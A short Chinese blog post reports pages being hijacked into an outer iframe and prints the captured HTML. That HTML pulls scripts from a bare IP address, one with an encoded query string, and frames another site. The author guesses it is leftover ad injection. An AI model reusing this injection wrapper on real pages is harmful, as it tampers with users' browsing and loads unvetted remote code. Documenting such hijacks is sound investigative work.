打开网页很高频率会出现外面套iframe框的情况，如下图所示:
查看发现如下代码：
<html>
<head>
<meta http-equiv="content-type" content="textml;charset=utf-8" />
<script src="http://218.85.153.13:82/res/js/head.js?t=1511694413"></script>
<title> </title>
<meta http-equiv="pragma" content="no-cache" />
<meta http-equiv="cache-control" content="no-cache" />
<meta http-equiv="expires" content="0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0,user-scalable=no" />
<script src="http://218.85.153.13:82/res/js/jquery.min.js?t=1511694413"></script>
</head>
<body scroll="no">
<div id="p1" style="width: 1349px;">
<script src="http://218.85.153.13:82/ipas_server/xxget.shtml?s=36C41BC8D5CFB4F54B4C1D6052CEE48EB7AC18F215C16F6FA003C47B1D18CEC88DA338A7055B76AA518C04820A72624FE7937018001A9A70EA348B534628EB0929DD6E81618C7BC722858BD403361B4A"></script>
</div>
<div id="m1" style="height: 637px;">
<iframe id="iframes" src="http://www.yizu.org/" width="100%" frameborder="0"></iframe>
</div>
</body>
</html>
目前还看不出这样的劫持有什么目的，猜测可能是原来劫持插入的广告撤掉之后的结果，以后有发现再更新。